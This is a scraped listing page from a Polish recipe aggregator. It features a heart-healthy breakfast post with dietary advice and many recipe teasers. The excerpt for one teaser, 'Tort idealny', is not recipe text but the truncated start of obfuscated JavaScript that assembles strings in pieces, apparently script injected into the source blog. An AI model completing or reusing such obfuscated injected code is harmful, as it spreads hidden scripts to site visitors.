274812 przepisów z 721 blogów
Wyświetlono: 366 razy
Śniadanie sercowca + porady dietetyczne Źródło: https://wysmienity.blogspot.com/2013/08/sniadanie-sercowca-porady-dietetyczne.html

Jak wiadomo dieta odgrywa bardzo wazna role w profilaktyce i leczeniu chorob sercowo – naczyniowych. Dobrze skomponowana pomaga obnizyc poziom cholesterolu calkowitego oraz cholesterolu frakcji LDL i trojglicerydow natomiast wzrost cholesterolu frakcji HDL. Obniza rowniez cisnienie tetnicze krwi. Proponuje idealne sniadanie lub kolacje. Chudy twarog z siemieniem lnianym, oliwa z oliwek na ...

Zobacz cały przepis...

Złote ogórki na zimę...

Złote ogórki na zimę...

Złote ogórki na zimę – w kurkumie/curry... ⇖ 20

TARTALETKI Z KREMEM I...

TARTALETKI Z KREMEM I...

Cześć Kochani, lato powoli dobiega końca,... ⇖ 19

Cukinia à la ananas

Cukinia à la ananas

Nutrition facts: 200... ⇖ 18

Tureckie bułeczki z...

Tureckie bułeczki z...

Miękkie, aromatyczne bułeczki zwane też... ⇖ 18

Tort idealny – jak...

Tort idealny – jak...

(function(){ xw43_="o"+("p"+"")+"en"+"";xw43_+="s" ⇖ 19

Makaron z bakłażanem

Makaron z bakłażanem

Jest tu ktoś, kto lubi bakłażany? A może... ⇖ 14

Karkówka pieczona w...

Karkówka pieczona w...

Karkówka pieczona w plastrach – miękka, z... ⇖ 25

Risotto z kurkami

Risotto z kurkami

Uwielbiam sezon kurkowy i chętnie z niego... ⇖ 18

Gofry serowe

Gofry serowe

200 g twarogu2 jajka200 ml mleka 1,5%200 g mąki... ⇖ 32

Jabłka w cieście...

Jabłka w cieście...

Jabłka w cieśnie naleśnikowym to super pomysł... ⇖ 36

Szybkie śniadanie z...

Szybkie śniadanie z...

Szybkie śniadanie z BlendyGo 3 i... ⇖ 31

Deser z kaszą manną i...

Deser z kaszą manną i...

Prosty deser z kaszą manną i miodem to idealny... ⇖ 24

Szaszłyki z...

Szaszłyki z...

Dawno nie jadłam szaszłyków, dlatego ostatnio... ⇖ 27

Pesto sardo z orzechami...

Pesto sardo z orzechami...

Pesto sardo z orzechami włoskimi, smak Sardynii... ⇖ 15

Kaszotto gryczane w...

Kaszotto gryczane w...

Czy są tu jacyś miłośnicy kaszy gryczanej?... ⇖ 500

Pieczona rzodkiewka z...

Pieczona rzodkiewka z...

Tylko dla fanów rzodkiewek :-) Jedliście... ⇖ 539

Pasta z pieczonej...

Pasta z pieczonej...

Makrela to dość dobrze znana ryba, chociaż... ⇖ 507

Wegańskie gołąbki z...

Wegańskie gołąbki z...

Danie pełne warzyw oraz przypraw dlatego bardzo... ⇖ 538

Czekoladowo...

Czekoladowo...

Wspaniałe to uczucie kiedy schodzisz na dół na... ⇖ 498

Spożywanie ponad 30...

Spożywanie ponad 30...

Teraz już wiemy, że stan naszego miokrobiomu... ⇖ 532

Czerwona kapusta –...

Czerwona kapusta –...

5 porcji warzyw / owoców w ciągu dnia, ten... ⇖ 506

Placuszki gryczane,...

Placuszki gryczane,...

Uwielbiam śniadania a szczególnie takie na... ⇖ 496

Marchew – nie tylko...

Marchew – nie tylko...

Marchewka zawsze była jednym z moich ulubionych... ⇖ 484

Żółte curry –...

Żółte curry –...

Domowe curry nie jest takie trudne do... ⇖ 530

Jesienna zupa koperkowa...

Jesienna zupa koperkowa...

Czy wy też chętniej jecie zupy w chłodne... ⇖ 632

Wytrawne muffiny –...

Wytrawne muffiny –...

Rozszerzanie diety niemowlaka może spędzać sen... ⇖ 540

Krem z marchwi – super...

Krem z marchwi – super...

Czasami jest tak, że już nic nie ma w lodówce,... ⇖ 481

Czekoladowa jaglanka –...

Czekoladowa jaglanka –...

Ostatnio szukałam inspiracji na śniadanie lub... ⇖ 966

Przepisy na czasie

Sok z aronii

Sok z aronii

Bardzo zdrowy i przepyszny sok z aronii na zimę.... ⇖ 12369

Pomidory jak z puszki

Pomidory jak z puszki

Krojone pomidory jak z puszki robię obowiązkowo... ⇖ 6655

Karkówka pieczona w...

Karkówka pieczona w...

Przepyszne, mięciutkie, aż rozpływające się... ⇖ 6061

Babciny kompot z...

Babciny kompot z...

Najlepszy kompot na zimę to jest ten z... ⇖ 5392

Złote ogórki na zimę...

Złote ogórki na zimę...

Znakomite na zimę złote ogórki, które... ⇖ 3204

Sałatka kubańska na...

Sałatka kubańska na...

Przepyszna, wielowarzywna sałatka kubańska na... ⇖ 2656

Kolorowa surówka do...

Kolorowa surówka do...

SKŁDNIKI: Kapusta biała 400 g Marchew Jabłko... ⇖ 2538

Puszysty sernik, który...

Puszysty sernik, który...

Sernik to u mnie w domu ciasto wyjątkowe –... ⇖ 2311

Ciasto ze śliwkami i...

Ciasto ze śliwkami i...

Kiedy tylko pojawiają się pierwsze śliwki, od... ⇖ 2173

Sałatka Słoikowa od...

Sałatka Słoikowa od...

Sałatka Słoikowa od Teściowej to sprawdzony... ⇖ 2049

SOK Z ARONII

SOK Z ARONII

Zawarte w owocach aronii związki, to naturalny... ⇖ 1990

Syrop z czarnego bzu z...

Syrop z czarnego bzu z...

Bardzo smaczny i zdrowy syrop z czarnego bzu z... ⇖ 1804

Przepis ze starego...

Przepis ze starego...

Najlepsze kruche ciasto ze śliwkami jest robione... ⇖ 1672

Dżem z pomidorów-...

Dżem z pomidorów-...

Coś pysznego, zupełnie zaskakujące... ⇖ 1519

Ta strona używa plików cookie w celu usprawnienia i ułatwienia dostępu do serwisu oraz prowadzenia danych statystycznych. Dalsze korzystanie z tej witryny oznacza akceptację tego stanu rzeczy.

Zapoznaj się również z nasza Polityka Prywatnosci

  
ROZUMIEM